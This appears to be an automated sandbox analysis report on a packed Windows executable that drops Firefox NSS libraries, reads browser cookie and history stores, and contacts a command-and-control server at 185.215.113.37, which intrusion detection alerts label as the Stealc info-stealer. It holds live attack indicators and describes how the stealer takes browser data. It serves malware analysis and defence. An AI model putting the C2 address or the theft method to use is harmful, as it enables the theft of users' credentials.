Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947959909827579
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'815'552 bytes
MD5:	c56ae595533e90f249a0d41c74bae30c
SHA1:	6d4980c58078ea0fcff93f3e82f3defa38f81ace
SHA256:	f1436b56ea1cebcfbba382d30ec06e4238e2d70707a218d4406735473216d9e3
SHA512:	1c06f53201128ca719be978135d24247546016f7b8360bdfcacd14d9af27f5d20b360c0ccd39a8d4cd1c648c9f7fc94df003454f5cf455d241626a27e3d1888b
SSDEEP:	49152:WlJzSwEJClysf/V7PJOMNdlQ7dNWFtO0t:WSvYlr1tOCqdMht
TLSH:	658533CDAA103F88C0BCA7F3FDF70D612AF07A584185556D34A5A873A8A1F09F7E5489
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L.../..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa84000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F1BA2F [Mon Sep 23 18:57:51 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F7A98DC807Ah
setb byte ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	8e1d8d605723124768df65548e318b22	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x290000	0x200	14feebb0b7bb6b0c2f7720574c3c165c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mnuuscvb	0x4ee000	0x195000	0x195000	4682b2cb3451867a276470b747dc6874	False	0.995020134066358	data	7.953824880215668	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
guuroihu	0x683000	0x1000	0x600	d6e2a733b8ca7e662bf5c0347506c85d	False	0.5677083333333334	data	4.98926304460923	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x684000	0x3000	0x2200	0225e5f36723cd311d95cae035c196fe	False	0.06399356617647059	DOS executable (COM)	0.7633971441187445	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-28T10:19:03.689690+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-09-28T10:19:03.922183+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-09-28T10:19:03.930110+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.4	49730	TCP
2024-09-28T10:19:04.150981+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-09-28T10:19:04.157699+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.4	49730	TCP
2024-09-28T10:19:05.278343+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-09-28T10:19:05.759249+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-09-28T10:19:10.923765+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-09-28T10:19:12.392556+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-09-28T10:19:13.380329+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-09-28T10:19:14.246645+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-09-28T10:19:17.416375+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-09-28T10:19:17.973687+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 28, 2024 10:19:02.391916990 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:02.737090111 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:02.737210035 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:02.737724066 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:02.742532015 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:03.444458961 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:03.444560051 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:03.447235107 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:03.452096939 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:03.689610958 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:03.689690113 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:03.691035986 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:03.695868969 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:03.922082901 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:03.922127962 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:03.922183037 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:03.922214985 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:03.923409939 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:03.930109978 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:04.150748014 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:04.150809050 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:04.150825024 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:04.150980949 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:04.150980949 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:04.151151896 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:04.151166916 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:04.151180983 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:04.151195049 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:04.151213884 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:04.151227951 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:04.151257992 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:04.152980089 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:04.157699108 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:04.379971981 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:04.380048037 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:04.397059917 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:04.397089958 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:04.401952982 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:04.401983023 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:04.402054071 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:04.402081966 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:04.402107954 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:04.402138948 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.278122902 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.278342962 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.533905029 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.538875103 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.759164095 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.759248972 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.759816885 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.759833097 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.759848118 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.759864092 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.759876966 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.759880066 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.759915113 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.759927988 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.760337114 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.760351896 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.760369062 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.760381937 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.760395050 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.760416985 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.760972023 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.760987997 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.761003017 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.761015892 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.761040926 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.761059046 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.892198086 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.892255068 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.892256975 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.892293930 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.892306089 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.892339945 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.892617941 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.892649889 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.892663956 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.892697096 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.892915964 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.892950058 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.892966986 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.892996073 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.893290043 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.893321991 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.893333912 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.893356085 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.893368959 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.893405914 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:05.893830061 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:05.893862009 CEST	80	49730	185.215.113.37	192.168.2.4
